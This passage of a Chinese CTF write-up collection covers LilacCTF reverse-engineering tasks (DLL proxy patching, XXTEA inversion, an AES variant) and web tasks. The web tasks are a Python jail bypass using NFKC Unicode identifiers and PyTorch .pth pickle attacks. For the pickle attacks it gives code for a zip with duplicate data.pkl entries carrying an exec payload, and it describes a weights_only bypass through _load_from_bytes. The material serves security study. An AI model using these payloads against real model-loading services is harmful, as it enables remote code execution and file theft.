通过同名 cryptbase.dll 被优先加载,达到在进程启动早期执行自定义代码
导出函数保持兼容,避免程序因找不到符号而退出
自定义线程需要等待壳把解密函数映射到可执行内存,否则会在早期调用阶段崩溃
导出完成后把 var110 写到固定文件,供离线脚本读取并继续解密
离线闭环流程
从 re/Kilogram/flag.enc 读取 var150 的 32 bytes,并转成 hex 作为环境变量输入
运行 chall.exe 并确保 cryptbase.dll 覆盖生效,得到导出的 var110 文件
用 var110 解 mask 得到 var170,再用 var170 解密正文 ciphertext
得到图片后校验文件头与尺寸,最后用 OCR 提取 LilacCTF{...} 占位格式的提交内容
复现操作的最小命令集合
xxd -p -s 0x48 -l 0x20 re/Kilogram/flag.enc 提取 var150
把 re/Kilogram/cryptbase_proxy.dll 改名为 cryptbase.dll 并放入 chall.exe 同目录
设置环境变量把 var150 传入并运行 chall.exe
读出导出的 var110 文件,再跑离线脚本生成图片并 OCR
排障清单
若导出的 var110 为空或长度异常,优先检查 DLL 是否被加载,以及 wait 逻辑是否等到壳解密完成
若解密结果不是有效图片,优先检查 var150 提取偏移与 hex 长度是否正确
若图片可打开但 OCR 失败,先手工放大对比字符,再调整 OCR 语言与阈值
cryptbase.dll 里用于 patch 跳转的核心片段如下。
// 0x75 0xAF is a short jne, patch to NOP NOP
if (addr[0] == 0x75 && addr[1] == 0xAF) {
DWORD oldProt = 0;
VirtualProtect(addr, 2, PAGE_EXECUTE_READWRITE, &oldProt);
addr[0] = 0x90;
addr[1] = 0x90;
FlushInstructionCache(GetCurrentProcess(), addr, 2);
VirtualProtect(addr, 2, oldProt, &oldProt);
}
来源:re/Kilogram/Kilogram.md、re/Kilogram/cryptbase_proxy.c、re/Kilogram/flag.enc
NineApple
题目概览:iOS App 让你绘制九宫格解锁轨迹。程序把轨迹转换成数字串,再映射成字符并逐位拼出最终提交内容 LilacCTF{...}。
题面提示与输入模型
题面强调 Android Human 与 Apple Human,App 又提示 draw an unlock pattern,可直接联想到 Android 九宫格 pattern lock 常见编号是从左上到右下为 1 到 9
第一行是 1 2 3。 第二行是 4 5 6。 第三行是 7 8 9。
一条轨迹可以表示为由 1 到 9 组成的字符串,例如 1478 表示按顺序经过 1 4 7 8
静态信息快速定位
可执行文件在 re/NineApple/Nine.app/Nine,为 Mach-O arm64
re/NineApple/Nine.app/Info.plist 能确认 App 基本信息,便于确定是 iPhoneOS 侧构建
直接查看 __TEXT,__cstring 能看到 weight target_all map_list 等变量名与提示文本
用 strings -a 能看到大量只由 1 到 9 组成的短串,进一步佐证轨迹数字串模型
附件检查
题目包解压后应得到 Nine.app。
主程序 re/NineApple/Nine.app/Nine 应为 Mach-O arm64。
__TEXT,__cstring 里能直接看到 weight target_all map_list 等关键名字。
strings 输出里会出现大量由 1 到 9 组成的 pattern 串,方向就基本确定。
核心常量与对应职责
weight 是每个位置的权重,元素类型是 UInt64,典型长度是 9,提取位置在 __DATA,__data。
target_all 是每位字符的目标 key,元素类型是 UInt64,典型长度是 33,提取位置在 __DATA,__data。
map_list 是字符与轨迹映射,元素是 pair 列表,典型长度是 39,提取位置在 __DATA,__data 附近的字符串区。
核心计算公式
程序对每条 pattern 做逐位乘权累加,得到一个 64 bit key 计算过程只使用 pattern 的实际长度,不要求补齐到 9 位 伪代码要点如下 acc 置零 对 i 从 0 开始递增 digit_i 取 pattern 第 i 位字符的十进制数值 acc 加 weight[i] 乘 digit_i
反汇编侧证据链
用 otool -tvV re/NineApple/Nine.app/Nine 反汇编,可看到 64 bit 乘法与加法累加的指令序列
常见形态是先做乘法高位检查,再把乘积加到累加器并写回
这说明 key 计算确实是逐位乘权累加,而不是哈希或加密函数
为什么不需要跑 App
三组常量都静态存放在二进制里
解题仅依赖读取常量与执行纯计算,不依赖 UI 与运行态事件
因此可直接离线抽取 weight target_all map_list 并解码
定位 __DATA,__data 的 file offset
用 otool -l re/NineApple/Nine.app/Nine 找到 __DATA 段中 __data section 的 offset 与 size
offset 是文件内偏移,可直接用 xxd -s 或脚本读文件
本题 weight 与 target_all 就位于 __DATA,__data 内,且 count 字段非常醒目
关键偏移与期望值
__DATA,__data 起点模板 offset 是 0x10318,值不固定,以 otool -l 输出为准。
weight 模板 offset 在 0x10320,count 期望为 9,对应九宫格最大长度。
target_all 模板 offset 在 0x10390,count 期望为 33,对应最终字符串长度。
map_list 模板 offset 在 0x104c0,count 期望为 39,对应字符集覆盖数字与符号。
Swift 静态数组模板的实用结构
在本题里可把数组视为一个模板头部加元素区 count 与 capacity 在模板头部,元素紧随其后
count 字段在相对模板偏移 + 0x10。
capacity 字段在相对模板偏移 + 0x18。
elements 在相对模板偏移 + 0x20,后面紧跟连续元素区。
从二进制提取 weight 与 target_all
weight 的模板 file offset 在 0x10320 附近,解析出的 count 应为 9
target_all 的模板 file offset 在 0x10390 附近,解析出的 count 应为 33
两者元素均按 little-endian 的 UInt64 解释
只要 count 不符合预期,说明偏移或端序有误,应先修正再继续
weight 的 9 个权重值
idx 0 对应 0x275b6f7ff。
idx 1 对应 0x3479e9ff。
idx 2 对应 0x040960c4。
idx 3 对应 0x0049d00e。
idx 4 对应 0x0004ebbc。
idx 5 对应 0x00004ebb。
idx 6 对应 0x000004a1。
idx 7 对应 0x00000041。
idx 8 对应 0x00000003。
target_all 的部分样本
idx 0 对应 0x3662ec5c7。
idx 1 对应 0xdf874e97b。
idx 2 对应 0x363e04557。
idx 3 对应 0x5323b1e9f。
idx 4 对应 0xfeb8eb893。
idx 5 对应 0x5dda09e1a。
对照检查点
weight 的元素数量必须为 9
target_all 的元素数量必须为 33
target_all 的每个元素应能被翻译为一个字符
拼出的字符串应包含固定前缀与后缀,提交时以 LilacCTF{...} 占位展示
提取 map_list 的关键观察
在 strings 输出里存在一个明显的分隔标记,后面紧跟大量 pattern 串
用二进制 grep 先定位其中一个 pattern 例如 1478 的 file offset
在该区域上方可看到一个 count 字段,本题为 39,说明 map_list 有 39 组 pair
map_list 的模板 file offset 在 0x104c0 附近
Swift small string 的离线解码
每个字符串占 16 bytes 前 15 bytes 是 ASCII 与 0 padding 最后 1 byte 是 tag,可忽略 解码方法是取前 15 bytes,遇到 0 截断,再按 UTF 8 解释
map_list 的两列谁在前谁在后
从二进制布局看,每个 pair 的一列是长的数字串,另一列是单字符
解析时应把数字串当作 pattern,把单字符当作输出字符
若把两列读反,会导致反查表无法覆盖 target_all
建议先把任意一组 pair 打印出来做人工核对,再批量解析
map_list 的 pair 结构
每个 pair 占 32 bytes 前 16 bytes 是 pattern 字符串 后 16 bytes 是对应的单字符 读完 39 组 pair 就能得到字符到 pattern 的完整映射
map_list 解析结果
L 对应 pattern 1478。
i 对应 pattern 582。
l 对应 pattern 147。
a 对应 pattern 2147859。
c 对应 pattern 6589。
{ 对应 pattern 248。
1 对应 pattern 125879。
0 对应 pattern 2587413。
S 对应 pattern 321456987。
_ 对应 pattern 789。
/ 对应 pattern 27。
\\ 对应 pattern 18。
N 对应 pattern 7415963。
d 对应 pattern 825479。
w 对应 pattern 1475963。
n 对应 pattern 4758。
3 对应 pattern 23598。
f 对应 pattern 21745。
r 对应 pattern 475。
y 对应 pattern 14257。
o 对应 pattern 58746。
u 对应 pattern 47869。
} 对应 pattern 157。
2 对应 pattern 125478。
4 对应 pattern 14528。
5 对应 pattern 214587。
6 对应 pattern 458712。
7 对应 pattern 1238。
9 对应 pattern 893256。
A 对应 pattern 74269。
G 对应 pattern 32478965。
V 对应 pattern 183。
T 对应 pattern 13258。
P 对应 pattern 45217。
M 对应 pattern 7418369。
W 对应 pattern 1472963。
Q 对应 pattern 42689。
H 对应 pattern 1745639。
K 对应 pattern 24718。
离线解码流程
对每个字符的 pattern 计算 key
建立 key 到字符的反查表
遍历 target_all,把每个目标 key 用反查表翻译成字符
依次拼接得到最终提交字符串 LilacCTF{...}
实现细节建议
先写一个读取函数,按模板偏移读出 count 与元素区
解析 map_list 时按 32 bytes 为步长推进,先读 pattern 再读字符
计算 key 时 digit_i 取十进制值,不要用字符的 ASCII 值
反查表建议用字典,key 唯一映射到字符,若出现冲突优先排查解析方向
一致性验证与排障
用映射表中的任意一组样本做自检,例如某字符对应 pattern 1478,计算结果应能在 target_all 中找到
若自检失败,优先检查 count 解析偏移与 endianness
若出现无法翻译的 target,优先检查 map_list 的两列是否读反,或 small string 的解码是否把 tag 当成内容
只要三组常量读对,整个解码不依赖 UI 与运行环境
常见错误与修正方向
解析 __DATA,__data 时偏移对不上,优先重新用 otool -l 确认 offset
UInt64 解读结果异常,优先确认是 little-endian
small string 解码出现乱码,优先确认只取前 15 bytes 并在 0 处截断
map_list 解析后字符集过小,说明模板起点可能偏移了 16 bytes 或 32 bytes
反查表能建立但解不全 target_all,说明有一组常量被读错或两列读反
溢出检查的含义
反汇编里出现 umulh 与 adds 的条件跳转
这说明程序在乘法与加法时做了 64 bit 溢出检查
一旦溢出会走失败分支,因此离线求值也应保持在 64 bit 范围内
常量与 pattern 设计应保证不会触发溢出分支
离线实现若用 Python int 不会自然溢出,但仍建议按 64 bit 约束对齐
最稳做法是每一步都对结果做 & 0xffffffffffffffff 截断
再对照任意一组样本 key,确认与二进制计算结果一致
pattern 到 key 的计算可以写成下面的式子。
$$ key\left[ pattern \right] = \sum_{i=0}^{k-1} weight_i \cdot digit_i $$对应的离线实现片段如下。
def key_from_pattern(pat, weight):
acc = 0
for i, ch in enumerate(pat):
acc += weight[i] * int(ch)
return acc
char_by_key = {}
for ch, pat in map_list.items():
char_by_key[key_from_pattern(pat, weight)] = ch
out = ''.join(char_by_key[x] for x in target_all)
来源:re/NineApple/NineApple.md、re/NineApple/Nine.app/Nine
ezPython
题目概览:PyInstaller 打包的 Windows 程序。核心校验对花括号内 16 bytes 做分组加密,再与常量对比。
解包与文件定位
运行 re/ezPython/pyinstxtractor.py 可把 main.exe 的内置文件系统解出
解包目录中关键文件是 main.pyc 与 myalgo.pyc
还有 crypto.pyc 等辅助模块,用于提供基础运算与打包环境
字节码版本注意点
main.pyc 与 myalgo.pyc 属于 Python 3.9 的字节码格式
复现时建议用 Python 3.9 去 dis 与 marshal,避免版本差异导致的反汇编偏差
交互侧可见特征
main.pyc 会先解码一段欢迎语与提示语并输出
读取输入后若校验失败会打印错误提示并退出
这些提示可用于确认解包出的字节码与本地运行环境一致
main 侧的输入约束
前后缀固定,整体长度固定 取花括号内 16 个字符作为 inner main 直接对 inner 做 UTF 8 编码,并要求编码结果恰好为 16 bytes 这隐含 inner 必须全 ASCII,否则 UTF 8 会把非 ASCII 编成多字节导致长度变化 编码后的 16 bytes 会按 little-endian 拆成 4 个 32 bit 整数,作为后续算法输入
固定 key 与固定目标 res
key 由固定字符串拆成 4 个 32 bit word,属于常量 key res 是 4 个固定 32 bit 常量,main 会把加密输出与 res 逐项比较 因此只要能逆回输入块,就能直接得到唯一候选 inner bytes
myalgo 侧的算法结构
myalgo.btea 是 XXTEA 与 BTEA 的变体,只实现加密方向
delta 为常量,轮数 q 由 n 决定,本题 n 等于 4
核心轮函数是移位异或加法的组合,并在每步做 32 bit 截断
由于该结构在 128 bit 状态上是双射,给定 res 对应的输入块唯一
逆运算与复验闭环
re/ezPython/solve.py 实现了逆过程,按与加密同样的 q 轮数反向迭代
每一步把加法换成减法,并把 sum 以 delta 逆向递减
解出候选后再调用原 myalgo.btea 回灌加密,检查能否回到 res
只要回灌通过,说明逆过程与端序拆包方式一致
无解结论的原因
re/ezPython/solve.py 得到的 16 bytes 候选包含大量非 ASCII 值
这些 bytes 无法由 inner 的 UTF 8 编码得到
结合 main 对长度与格式的强约束,可推导出本仓库附件在标准语义下无解
版本不一致的判定与后续动作
部分writeup/RE_ezPython.md 给出的结果更像来自另一份附件版本
若线上判题能通过,说明远端校验逻辑或附件与本仓库不同
建议先对齐附件版本与哈希,再重新确认 main 是否仍使用 UTF 8 编码与固定长度约束
逆过程里最关键的 btea_decrypt 如下。
def mx(y, z, sum_, k, p, e):
return (((z >> 5) ^ (y >> 2)) + ((y << 3) ^ (z << 4))) ^ ((sum_ ^ y) + (k[(p & 3) ^ e] ^ z))
def btea_decrypt(v, k, delta=0x45555254):
n = len(v)
q = 6 + 52 // n
sum_ = (q * delta) & 0xFFFFFFFF
y = v[0]
while sum_ != 0:
e = (sum_ >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
y = v[p] = (v[p] - mx(y, z, sum_, k, p, e)) & 0xFFFFFFFF
z = v[n - 1]
y = v[0] = (v[0] - mx(y, z, sum_, k, 0, e)) & 0xFFFFFFFF
sum_ = (sum_ - delta) & 0xFFFFFFFF
return v
来源:主:部分writeup/RE_ezPython.md;补:re/ezPython/ezPython.md、re/ezPython/solve.py、re/ezPython/pyinstxtractor.py
m
题目概览:chall.py 是超长的 λ 表达式与组合子结构,对输入 bytes 做位级运算并输出正确或失败。静态硬逆基本不可行,必须把执行过程符号化。
整体策略
把每个输入字节建模为 Z3 bit-vector 解析 chall.py 的 AST,把 λ 表达式按解释器语义求值,但在遇到位运算与条件分支时生成约束而不是枚举 最终得到一个可求解的约束集合,求出满足条件的输入
仓库实现要点
re/m/solve.py 是高性能版本,核心是把求值过程做成可缓存的抽象机
通过 closure 与 apply 的缓存减少重复展开,并对 choice 分支做惰性展开与合并
维护步数与内存上限,必要时主动清理缓存与触发 GC,避免在超深树上爆栈或耗尽内存
re/m/solve_z3.py 是更直接的实现,便于理解语义与约束构造,但对递归深度与缓存更敏感
求解细节
中间表达式大量使用移位与按位与,可直接映射到 Z3 bit-vector 运算 对布尔分支用 If 结构表达,使两条路径在求解器层面合并而不是暴力分支 最终解出的输入可再回灌到 chall.py 的原逻辑中验证输出为正确
校验点
若求解时间过长,优先调整缓存上限与进度输出,确认是否出现重复子树导致的指数展开 解出候选后建议做全量回放验证,避免只满足局部约束
求解输出再拼回 bytes 的片段如下。
m = s.model()
bs = bytes(int(m[b].as_long()) for b in flag_bytes)
inner = bs.decode('ascii', errors='replace')
来源:re/m/chall.py、re/m/solve.py、re/m/solve_z3.py
c++++
题目概览:材料描述为对称加密类题,主体是 AES 变体,关键是还原轮函数与密钥使用方式并写出对应的逆过程。
快速识别 AES 血缘
二进制中存在 256 byte S-box 与逆 S-box 同时存在 256 乘 4 的 T-table 风格表,用于把替换与列混合合并 加密流程以 16 bytes 为一块处理,输入输出都按 16 bytes 对齐 这些表项建议用脚本从二进制数据段直接抽取,避免手抄造成误差 先对照 AES 标准 S-box 与常见 T 表形态确认方向,再进入轮函数细化 表正确后再写逆过程,能显著降低端序与索引错位导致的返工成本
关键函数与入口定位
加密主逻辑在 sub_14007CA40 附近
调试时在该函数入口下断,可以抓到 state 初值与轮密钥区指针
进一步在轮密钥生成完成处下断,可一次性导出全部 round key
state 表示与端序陷阱
state 有时以 16 bytes 数组处理,有时拆成 4 个 32 bit word 处理 同一实现里混用 big-endian 与 little-endian 的 4 bytes 取值方式 复现脚本必须逐处对齐端序,否则会出现每轮都像对但最终不匹配的假象
4 bytes big-endian 转 32 bit,高位在前,用于部分查表前的取字节与拼字。 4 bytes little-endian 转 32 bit,低位在前,用于轮内的 key_list 取值与部分旋转。 16 bytes big-endian 视作整数,高位在前,用于打印与对照密文常量。
轮结构概览
进入轮前先做一次 AddRoundKey 主体共有 16 轮 轮内对 state 的后 8 bytes 做滚动搬移,类似把一半 state 当作寄存器窗口 末轮的搬移规则与前 15 轮不同,属于常见的最后一轮特判 结束后再做一次 AddRoundKey
轮内搬移规则细化
前 15 轮会把旧的 state 前 8 bytes 搬到 state 后 8 bytes 同时把计算出的新值写回 state 前 8 bytes,形成滚动窗口效果 最后一轮不再做前后 8 bytes 的互换,只更新 state 后 8 bytes 这一差异会影响解密实现的顺序,必须在逆过程中对齐处理
旋转常量的落点
常量 8 用于预处理一个 4 bytes 分量,影响 v8 的非线性混合输入。 常量 5 用于对 v10 的旋转,影响 v10 的位扩散与逆向顺序。 常量 27 用于对 v9 的旋转,影响 v9 的位扩散与逆向顺序。
轮内混合函数 fun 的作用
fun 以 state 的前 4 bytes 为输入,输出 32 bit 值 v7 fun 还会对另一个 4 bytes 分量做一次预处理后再调用,得到 v8 v7 与 v8 共同驱动对两个 32 bit 分量的更新,形成非线性混合
fun 的组成特征
内部做多次 sbox 与 rsbox 级联 级联结果再进入 T-table 查表,并分四段异或合成一个 32 bit 值 fun 内部还混入两组 4 bytes 常量 key1 与 key2,起到额外白化作用 key1 的常量字节为 0x12 0x1d 0x08 0x11 key2 的常量字节为 0x09 0x67 0x65 0x15 fun 的四次查表还会叠加 0x000 0x100 0x200 0x300 的基址偏移 这组偏移对应四张 T 表的分段布局,与 AES 的 T0 T1 T2 T3 组织方式一致 第二项与第四项使用 rsbox 级联作为输入,第一项与第三项使用 sbox 级联作为输入 因此逆过程里不能简单套标准 AES 的逆表,必须逐项按原实现写回
每轮更新的核心算式摘要
v7 来自 fun 输出,由 state 前 4 bytes 决定。 v8 来自 fun 输出,由另一个 4 bytes 分量预处理后决定。 v9 来自 state 后 8 bytes,结合 v7 v8 与子密钥做更新后再旋转。 v10 来自 state 后 8 bytes,结合 v7 与两倍 v8 与子密钥做更新后逆向旋转。
密钥材料的形态
原文脚本里 key 是一段很长的 byte 列表 每 16 bytes 切一段形成 round key 列表 同时每 4 bytes 切一段并按 little-endian 解释为 32 bit word,形成 key_list 每轮会从 key_list 中取两个连续 word 参与 v9 v10 更新 这两个 word 的索引为 2乘轮编号加 8 与 2乘轮编号加 9 也就是说 key_list 的前 8 个 word 对应轮前与轮后两次 AddRoundKey 从第 0 轮开始,轮内更新使用的是 key_list 的第 8 到第 39 个 word 若解密过程只差少量字节,优先检查这一段索引是否整体错位
分块处理与输出形态
实现以 16 bytes 为块处理 原始材料给出的密文长度为 32 bytes,对应两块解密 解密后两块拼接得到完整明文串 明文通常可直接按 ASCII 解码,若出现乱码优先回查端序与末轮特判
解密逆过程的实现要点
解密前先做末尾 AddRoundKey 的逆,也就是 XOR 同一轮密钥 轮顺序从 15 到 0 逆序执行 先按轮搬移规则逆回 state 位置,再还原 v9 v10 的取值 把 v9 的旋转与 v10 的旋转按相反方向还原 将轮内的异或与加法按逆序撤销,子密钥使用顺序与加密一致但方向相反 完成 16 轮后再撤销最初的 AddRoundKey
如何从调试中拿到 key
优先在轮密钥数组就绪后下断,直接导出整段 key bytes 若轮密钥是运行时生成,可追踪首次 AddRoundKey 读内存位置,定位 key 缓冲区 导出后先验证加密一轮的中间 state 与脚本一致,确认端序与轮编号没有错位
复验闭环
用二进制里固定的 ciphertext 常量做输入 解密得到的明文应为可见 ASCII 串,并符合题面要求格式 将明文再走加密流程,应能回到原 ciphertext 常量,作为最终一致性验证
排障清单
若只差少量字节,优先检查 4 bytes 取值的端序选择 若每轮中间值完全跑偏,优先检查轮内搬移规则是否对齐末轮特判 若解密能输出但加密回不去,优先检查子密钥索引是否与轮编号一致 若输出包含不可见字符,优先检查最后一次 AddRoundKey 是否撤销正确
脱敏说明
原始材料包含真实 flag 与明文输出
本文仅保留可迁移的逆向路径与复验方法,提交内容以 LilacCTF{...} 占位
脚本里 round_f 的核心实现如下。
def round_f(s0, s1, s2, s3, k1, k2):
t0 = T0[rsbox[sbox[s0] ^ k1[0]] ^ k2[0]]
t1 = T1[rsbox[rsbox[s1] ^ k1[1]] ^ k2[1] + 0x100]
t2 = T2[sbox[sbox[s2] ^ k1[2]] ^ k2[2] + 0x200]
t3 = T3[sbox[rsbox[s3] ^ k1[3]] ^ k2[3] + 0x300]
return t0 ^ t1 ^ t2 ^ t3
来源:部分writeup/LilacCTF2026 writeup by Arr3stY0u.md
Web
这一组以输入过滤,路径规则,序列化为主。整理版强调入口与绕过点,并把关键限制写成可复验步骤。
CheckIn
题目概览:网页端执行 Python 3.13 代码,但对输入做了极强过滤。目标不是拿 RCE,而是把后端的全局状态列表从假改成真,从而触发成功分支输出。
入口与回显
前端把代码原样发到后端接口,后端执行后返回文本回显 回显中会出现 FORBIDDEN 提示,用于反推过滤器的具体规则
过滤器结构化整理
ASCII 字母数字直接封死 大量符号不允许,只剩极少数语法资源可用 关键字黑名单存在,哪怕绕过 ASCII,也会在语义层面拦截危险词 长度按字节计数,Unicode 字符成本更高,payload 必须极短
回显文案与分层判断
出现 No numbers or alphas 时,说明是最外层的 ASCII 扫描 出现 Incorrect symbol detected 时,说明被符号白名单拦截 出现 Keywords detected 时,说明输入通过了前两层,但被语义关键词拦截 出现 Input too long 时,说明需要继续压缩字符与表达式结构
过滤器分层对照
字符集扫描回显 FORBIDDEN: No numbers or alphas,含义是命中 ASCII 字母数字禁用,下一步改用 Unicode 标识符与兼容字符。 符号白名单回显 FORBIDDEN: Incorrect symbol detected,含义是语法符号被限制,下一步只使用允许的少量符号组合表达式。 关键字拦截回显 FORBIDDEN: Keywords detected,含义是危险词被语义层过滤,下一步不直接写变量名与危险内置名。 长度限制回显 FORBIDDEN: Input too long,含义是以字节计数超限,下一步用更短兼容字符压缩关键单词。
核心绕过点 Unicode 标识符与 NFKC
Python 标识符允许 Unicode 多个兼容字符在 NFKC 归一化后等价于 ASCII 字母 因此可以在输入中不出现 ASCII,但仍然让解释器识别出内置函数名 为了节省字节,实际 payload 会混用全角字母与更短的兼容字符
兼容字符压缩表
ª NFKC 后等价 a,常用于压缩内置函数名里的 a。
º NFKC 后等价 o,常用于压缩内置函数名里的 o。
ʳ NFKC 后等价 r,常用于压缩内置函数名里的 r。
ſ NFKC 后等价 s,常用于压缩内置函数名里的 s。
ˣ NFKC 后等价 x,常用于压缩内置函数名里的 x。
ˡ NFKC 后等价 l,常用于压缩内置函数名里的 l。
长度压缩的具体技巧
全角字母通常更占字节,适合用在不敏感位置 对频繁出现的字母可换成兼容字符,使 NFKC 后等价但字节更省 这一技巧的目标不是隐藏语义,而是把可用语义塞进极短输入上限
payload 结构化构造流程
先选定要调用的内置名集合,例如 vars dir min append pop 用全角字母与兼容字符组合出这些名字的 Unicode 版本,保证 NFKC 后仍等价 用 dir 获取当前作用域可见名字列表 用 min 取得字典序最小名字,把字符串问题转成索引问题 用 vars 加 get 拿到该名字对应的对象引用,目标是全局 status 列表 用 pop 取出列表内的假值,再用按位取反得到真值 用 append 把真值放回去,让 status 的首项为真
长度与稳定性要点
长度限制按 UTF-8 字节计数,压缩单词的目标是降低关键字母的字节成本 兼容字符比全角更省字节,适合替换高频字母 若发现 min 返回值不稳定,优先用名字列表排序后取首项,或改为取最短名字以减少环境差异影响
不用字符串拿到 status 的方法
不能写引号与字符串字面量,也不能直接写出被拦截的变量名
利用自省函数列出当前作用域可见名字,再用字典序最小的那一个定位到目标变量
结合 vars 的字典接口,可以把名字映射回真实对象引用
为什么字典序最小能稳定命中
该环境下可见名字集合很小,且 status 这类名字往往落在最小位置 只要能稳定取到同一个名字,就能把字符串问题转化为索引问题 若本地复现发现最小值变化,可改为取列表首项或按长度最短策略做同类选择
把 status 变真且不使用数字
从列表里弹出原本的假值 对该值做按位取反得到真值 再把真值追加回列表,从而让 status 的第一个元素为真 后端检测到该条件后进入成功分支输出 flag
真假转换的关键点
pop 取出 False,得到类似 0 的值,仍为假。 按位取反对 0 取反,得到类似 -1 的值,变为真。 append 写回列表,使 status 首项变真,从而触发成功分支。
复现方式
实际可用的短 payload 已写入 web/CheckIn/solve_checkin.py
脚本会自动请求接口并解析成功回显
建议先打印 NFKC 归一化后的 payload 以便核对语义与长度
若遇到偶发超时,调大重试次数并只采纳明确成功回显的样本
payload 的核心构造如下。
base = 'vars().get(min(dir())).append(~vars().get(min(dir())).pop())'
def to_fullwidth_lower(s):
table = {c: chr(ord('a') + (ord(c) - ord('a'))) for c in 'abcdefghijklmnopqrstuvwxyz'}
return ''.join(table.get(ch, ch) for ch in s)
payload = to_fullwidth_lower(base)
来源:web/CheckIn/CheckIn.md、web/CheckIn/solve_checkin.py
Nailong
题目概览:目录内只有 .pth 与一张 224 x 224 的测试图,符合典型图像分类服务。核心风险点是 .pth 常由 torch.save 生成,加载侧若使用 torch.load 会反序列化 data.pkl,其底层是 pickle,天然具备可执行性。
附件形态与文件结构
除 legacy_empty.pth 外,其余 .pth 都是 zip 容器
zip 内存在一个同名目录前缀,里面包含 data.pkl 与若干元信息文件
data.pkl 是 pickle 字节流,决定加载时实际反序列化的对象
test.png 是 224 x 224 的 RGB 图,通常用于触发模型推理入口
zip 格式 pth 代表 safe.pth,结构特征是前缀目录加 data.pkl,语义上是标准 torch.save 产物。
旧式 pickle 代表 legacy_empty.pth,结构特征是直接以 pickle 协议开头,用于测试服务端是否接受旧格式。
测试图片是 test.png,尺寸 224 x 224,用于触发推理或上传链路。
pickle 在 torch.load 中为什么危险
pickle 支持以 GLOBAL 引用模块内的函数或类 再用 REDUCE 语义把函数与参数组合成一次调用 这类调用发生在反序列化阶段,往往早于任何业务逻辑校验
GLOBAL 用于引用一个可调用对象,风险是可指向高危函数。 REDUCE 用于调用可调用对象,风险是在加载时直接执行。
目录样本给出的服务端防护推测
存在大量用于对比的 safe 与 evil 样本,说明服务端很可能做了上传前校验 多个 dup 与 dotdup 样本暗示校验器与加载器对 zip 条目名的处理存在差异 多个 lfb safe 样本暗示加载侧可能启用 weights_only 或其他限制,且作者尝试寻找绕过
样本文件与用途对照
safe.pth 是基线文件,data.pkl 为最小空字典。
string_os.pth 用于探测弱过滤,仅包含危险字符串但不执行,用于测试是否做纯字符串黑名单。
evil1.pth 用于直接执行验证,使用 posix system 形态验证是否能执行命令。
evil2.pth 用于直接执行验证,使用 eval 形态验证是否能执行表达式。
dupdata.pth 用于重复条目顺序测试,先安全后危险,用于探测加载器取第一个还是最后一个。
dupdata_inv.pth 用于重复条目绕过样例,先危险后安全,用于绕过校验并让加载器执行危险条目。
bypass_test.pth 用于回显通道探测,执行后抛出固定异常文本,用于确认异常是否会被回显。
getflag.pth 是读文件结局 payload,执行后尝试读取多个常见路径并用异常带出内容。
payload_readflag.pth 是精简读文件 gadget,通过 pathlib 读 /flag 并利用类型转换报错带出内容。
test_lfb_safe.pth 用于 weights_only 绕过验证,借 torch.storage._load_from_bytes 触发二次 torch.load。
test_lfb_safe_p4.pth 同上但更通用,用 pickle 协议 4 直接携带 bytes,不依赖 codecs。
绕过点一:zip 重复条目语义不一致
Python 的 zipfile 按文件名读取时会以最后一个同名条目为准
torch.load 使用内部 zip reader,实际更接近按出现顺序取第一个同名条目
若服务端先用 zipfile 校验 data.pkl 再调用 torch.load 加载,就会出现可控的不一致
典型绕过是把安全的 data.pkl 放在最后,让校验器看到安全版本
同时把可执行的 data.pkl 放在最前,让 torch.load 执行危险版本
zipfile 校验器按文件名读取时更接近取最后一个同名条目,因此可被安全条目欺骗。 torch.load 加载器更接近按出现顺序取第一个同名条目,因此仍会执行危险条目。
目录内证据链
dupdata_inv.pth 体现了先危险后安全的布局
bypass_test.pth 进一步把危险条目改成抛出固定异常,用于验证绕过是否生效
getflag.pth 则把危险条目替换为读文件逻辑,属于结局 payload
回显通道的推理
多个 payload 的共同策略是抛出异常并把结果放进异常文本
这暗示服务端在加载失败时会把异常信息回显到响应或日志接口
bypass_test.pth 的意义是先把异常文本固定为可识别字符串,确认回显路径存在
结局方案一:重复 data.pkl 绕过校验后直接读文件
先上传 bypass_test.pth 观察是否出现固定异常文本
若出现,说明校验器被最后一个条目欺骗,而 torch.load 仍执行了第一个条目
随后上传 getflag.pth,其第一个 data.pkl 会执行读文件逻辑并用异常带出内容
从回显里提取 LilacCTF{...} 占位格式内容作为提交
结局方案二:若直接执行被限制,则使用更隐蔽的读文件 gadget
payload_readflag.pth 的 data.pkl 只依赖 pathlib 与 getattr
它构造对 /flag 的 read_text 调用并把结果送入 int 转换
若 /flag 内容不是纯数字,会触发类型转换错误,错误文本通常会包含原始内容片段
该 gadget 避开了 os 与 posix 与 system 与 exec 等明显敏感词,适合对抗弱黑名单
绕过点二:weights_only 场景下的二次加载
torch.storage._load_from_bytes 的实现会再次调用 torch.load,并把 weights_only 设置为 False
如果外层加载启用 weights_only,很多直接 gadget 会被禁止
但 _load_from_bytes 往往在 allowlist 中,因为它属于 storage 重建链路的一环
因此可以让外层 data.pkl 只调用 _load_from_bytes,把真正的危险 pickle 放进内层 bytes
外层 torch.load 可能启用 weights_only,会限制直接 gadget。
_load_from_bytes 内部会再次 torch.load 且关闭 weights_only,让内层 payload 获得完整 pickle 能力。
目录内证据链
test_lfb_safe.pth 与 test_lfb_safe_p4.pth 的 data.pkl 都以 _load_from_bytes 为核心
两者携带的内层 bytes 是一个最小 torch archive,证明二次加载链路可触发
实战中把内层 archive 替换为 payload_readflag.pth 的 bytes 即可读文件并走异常回显
排障与风险
若服务端不回显异常文本,需要转向写文件到可下载位置或利用时间侧信道
若服务端在解包阶段去重同名条目,重复 data.pkl 绕过会失效,需要改走 weights_only 绕过或其他不依赖重复条目的方案
若 flag 不在 /flag,优先用 getflag.pth 的多路径探测思路,或先列目录再定位
构造重复 data.pkl 的最小片段如下。
import io
import zipfile
safe_pkl = b'\x80\x02}\x00.'
evil_pkl = b'\x80\x02c__builtin__\nexec\nq\x00X\x1e\x00\x00\x00raise Exception\nq\x01\x85q\x02Rq\x03.'
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('good/data.pkl', evil_pkl)
z.writestr('good/data.pkl', safe_pkl)
pth_bytes = buf.getvalue()
来源:web/Nailong/safe.pth、web/Nailong/string_os.pth、web/Nailong/evil1.pth、web/Nailong/evil2.pth、web/Nailong/dupdata.pth、web/Nailong/dupdata_inv.pth、web/Nailong/bypass_test.pth、web/Nailong/getflag.pth、web/Nailong/payload_readflag.pth、web/Nailong/test_lfb_safe.pth、web/Nailong/test_lfb_safe_p4.pth、web/Nailong/test.png
Path
